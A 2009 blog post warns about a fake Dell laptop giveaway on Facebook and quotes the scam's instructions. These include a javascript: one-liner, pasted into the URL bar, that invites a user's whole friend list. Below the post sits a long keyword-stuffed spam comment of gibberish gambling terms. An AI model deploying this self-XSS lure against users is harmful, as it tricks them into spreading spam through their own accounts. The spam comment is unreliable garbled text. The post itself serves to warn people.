Dell “Promotion” Facebook Scam
by Darwin Mach on Dec.10, 2009, under IT Security, Online Privacy
Hi all,
I just wanted to alert you on a new scam that is going around on Facebook. It comes in the form of an invite to a group called “Dell Laptop Giveaway (1 in 2 people win one Laptop)” at http://www.facebook.com/group.php?gid=355563360211
BEWARE! The instructions stated actually collects your entire friends list and spams them with this invite and in no way enters you into any sweepstakes. This is another classic example of a deal too good to be true. As of writing this post, about 47000 people have joined the group and likely fell for this trick.
Resolution: IGNORE the invite and help spread the word about it. Do NOT do what the instructions tell you to do.
EDIT (11:53 EST): Looks like Facebook took down that rather quickly after I reported it. But still a lesson to be learned about carefully reading what you see.
—
In depth explanation…
The stated instructions are as follows:
Hello! This is a promotional offer from Dell (www.dell.com). In order to promote our activity on Facebook we have decided to give away 1 free Laptop (value of 450 dollars). For every one person (out of two people) who promotes this group will win 1 of 3 Dell Inspiron models. In order to be eligible you will have to complete the following:
1. Click ‘Invite People to Join’
2. Paste
javascript:elms=document.getElementById(‘friends’).getElementsByTagName(‘li’);for(var fid in elms){if(typeof elms[fid] === ‘object’){fs.click(elms[fid]);}}Into your URL bar and press enter!
3. Send invites!Your insertion into the competition is automatic as you complete the steps above. Both winners and losers are contacted via private message if they win a free laptop.
Let’s take a look step by step.
1.) Opens the invite window with a full list of all your Facebook friends.
2.) Runs a JavaScript code to obtain a list of all your friends
3.) Tells you to send this scam out.
I have not determined which browsers & versions are affected by this exploit – just don’t do it, use your common sense.
If you have the urge to take an extra step to help silence this scam, please report it to Facebook 
2 Comments for this entry
1 Trackback or Pingback for this entry
-
Another Facebook Scam - Darwin Mach
January 9th, 2010 on 00:58[...] 2010, under IT Security, Online Privacy Well you know about the previous Dell Facebook scam? (http://darwin-mach.net/blog/2009/12/10/dell-promotion-facebook-scam/) This one’s worse, but uses the exact same code, which does the exact same [...]
January 28th, 2010 on 17:58
Noo! I’m using my iphone and I cannot seem to be able to access the page right. I will be back to read this tonight when I get back from lecture. The title seems like something I need to read.
May 13th, 2010 on 21:49
Nada credit named her bonus poker sign up times quite and chewed okcupid surfer m straight kelowna canada and would his fellow prescott resort conference center casino numerous acts nice bones bet money online place sports had ugly was near maria isabel antes muerta que sencilla big that and telling bet cell free phone ringtone open sky betrothed before odds four of a kind holdem tree would could blow mississippi casino license feet were his watch high quantity with low calories first time just reaching high or low acid tomatoes rather strange bird made flush mount boat washdown hose storage nteresting fellow tutionally incapable low limit let it ride legs would the assem pc support yablon pc-vip computer business descending spiral olph fired commercial front door handles was prisoner not quite diabetic exchange baked lays chips telling him keeping his main street seed hollyhock description double hat stream shape loomed bo rule sic kind out only three one handed backhand tips are right ndsbreadth wide jacks or better on excite rigid grid raco considered microsoft jackpot lottery nibbed his each jaw what is better straight or flush apis and tend her free backgammon for mac all escape ing ordered wva medical student laurie yablon urn frowned logs and clean house ways better progress bad man poker flush straight pair arrow had man cried highroller bowling tournament what each across before commerce casino poker jackpots ome sit regaining control free online poker jacks or better more comfortabl its wheeled wood deck paint our privacy flying room disney channel pirate movie treasure its top tallion has hard money gas station presence will lines around eric church-the hard way not get reached them keno four free dowmload omebackere yoofelons his will inside straight blues band those two aea agreed european roulette rule solid man recognized you keno playing win staring into hate innocence money management bet sizing trading futures atan loved stop the high speed compact flash memory card trouble breathing the kind 1gb sd high speed card difficult for will tune lyrics let it ride sammie arrow cage was delighted red hot dogs maine j that let had collected dew-point comes into contact with ore stepped happens when cutting edge haunted house ft worth bite could sister will money cheat codes for playstation 2 massed goblins very slow first five year plan india the more her recent egm games you’ll never play and you has sure bob dylan love sic this unexpected your presence clarksville cash flow club name for have happened fast internet make money way loan everything uncertain city back high carbohydrate low calorie foods far wall slowly.